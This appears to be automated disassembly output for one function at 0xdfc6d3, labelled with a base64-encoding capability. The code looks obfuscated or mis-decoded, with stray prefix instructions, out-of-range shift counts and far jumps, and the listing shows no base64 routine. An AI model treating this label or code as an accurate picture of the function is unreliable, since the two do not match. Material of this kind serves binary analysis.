Function at 0xdfc6d3
Capabilities:
Encode data using base64

Disassembly:
cbw
inc ecx
add dh, 0x1c
inc ecx
xor dh, 0x97
inc ecx
inc dh
inc esp
movsx ecx, byte [esp + eax + 0x5bcf0056]
inc ecx
xor dh, dh
dec esi
lea esi, [esp + esi + 0x10]
inc sp
xchg ebp, edx
dec eax
sub edi, eax
dec edx
mov dword [ebp + esi - 0x6885e6fe], edx
inc ebp
mov eax, dword [edi + eax + 0x5bcf0051]
inc cx
ror esp, 0x49
inc ecx
and bh, ah
shr word [esp + ebp - 0x6885e6f8], 0xa5
inc esp
xor eax, esi
inc ecx
ror eax, 2
not byte [esp + eax + 0x5bcf0057]
inc ecx
dec eax
inc ecx
rol ch, 7
inc cx
and ecx, 0xf66c124
sar dword [esp + eax + 0x5bcf0057], 0x41
not eax
inc ecx
not cl
inc ecx
xor eax, 0xa527622b
push edi
dec ecx
sal ecx, 0x22
inc cx
dec ecx
dec eax
mov dword [esp + ebp - 0x6885e6ee], esi
inc esp
xor dword [esp + ebp - 0x6885e6ee], eax
dec eax
mov esi, dword [esp + eax + 0x5bcf005e]
neg eax
dec eax
dec ebp
call fcn.0089a42c
mov edx, dword [edi + 2]
jns 0xe012f4
setbe dl
dec ecx
mov edx, edx
inc esp
movzx esp, ch
dec word [esp + ebp - 0x688562fe]
dec esi
lea edx, [ebp*2 - 0x416b226a]
inc edi
movzx esi, byte [edi + ebp*2 - 0x8b4]
dec esp
lea ebp, [ebp + edi*4 - 0x1f46d24e]
inc esp
adc dl, al
inc esp
xor dh, dh
inc byte [esp + ebp - 0x688562fe]
inc ecx
xor eax, 0x493f6d39
push ecx
inc ecx
xor dh, 0x89
dec eax
cwde
jmp 0x976e11
mov dword [eax + ebp - 0x2f08a5c0], ecx
mov ecx, edx
btr edx, edx
bswap eax
mov eax, dword [edi]
adc edi, 3
sal ecx, cl
xor eax, ebx
sal dx, 0x8f
lea eax, [eax + edx - 0x3ace93f1]
bswap eax
cmove ecx, edx
xor ecx, edx
lea ecx, [ecx + 0x2cb5252b]
rol eax, 1
shr cl, 0x43
cmovns cx, dx
lea eax, [edx + eax - 0x6a506761]
js 0xa1a970
shl edx, 0x3f
sal ecx, 0x2e
xor ebx, eax
add ecx, ecx
adc esi, eax
add dl, 0x25
xor dx, 0x299b
xchg ch, dl
jmp esi
sbb edx, edx
xor cl, bl
sal byte [esp + edx*2 + 3], 0xa6
lea edx, [edx + edx*2 + 0x3cae643c]
inc cl
add dword [esp + edx*2 - 0x795cc878], edx
rol cl, 1
dec dx
rol edx, 0x71
xor cl, 0xe
ror edx, 4
inc cl
sal word [esp], 0x29
xor bl, cl
lea ecx, [esp + ecx + 4]
neg dl
rol word [esp + 2], 0xe7
sbb dx, word [esp + 1]
mov dword [ecx], eax
mov eax, edx
sal byte [esp], 0x83
jbe 0x98e56d
inc esp
movsx edx, cx
inc ecx
push ebp
inc cx
xor ecx, 0xd341018a
enter 0x4166, 0xffffffffffffff81
ror dword [edi - 0x8be9971], 1
fldenv [esi - 1]
leave
dec ebx
lea edx, [ebp + ebp - 0x35dc8844]
mov eax, 0xa430b5b2
inc cx
not ecx
mov word [esp + ebp - 0x68856314], cx
inc cx
xor esi, ecx
inc ebp
bts ebp, eax
dec esp
xor dword [esp + ebp - 0x68856317], eax
inc edx
xchg byte [esp + ebp - 0x455], ch
dec esi
lea ecx, [esp + ecx + 8]
inc ecx
sar dl, 0x27
movsx edi, dx
dec ebp
mov edx, dword [ecx + ebp - 0x68856300]
inc esi
or dword [esp + ebp*2 - 0x8b6], eax
jnp 0x996035
mov dword [esp], edx
jp 0xdfc6dd
mov dword [ebp - 4], eax
lea eax, [edx*8 - 0x1a5d7142]
lea ecx, [eax + eax*8 + 0x468bafa6]
mov eax, dword [ebp + ecx - 0x59426dc0]
xchg word [esp + ecx - 0x59426dba], dx
jnp 0xa35fb3
btr dx, 0x2d
movzx ecx, byte [edi + ecx - 0x59426dbb]
and dword [esp], edx
jno 0xdeb936
sbb edi, 0xfffffffa
or eax, dword [esp]
movsx ecx, al
sal byte [esp + 3], 0x46
xor edx, ebx
bswap edx
xor dword [esp], ecx
btr cx, cx
xor edx, 0x549af09a
xor ecx, dword [esp]
ja 0x8a972a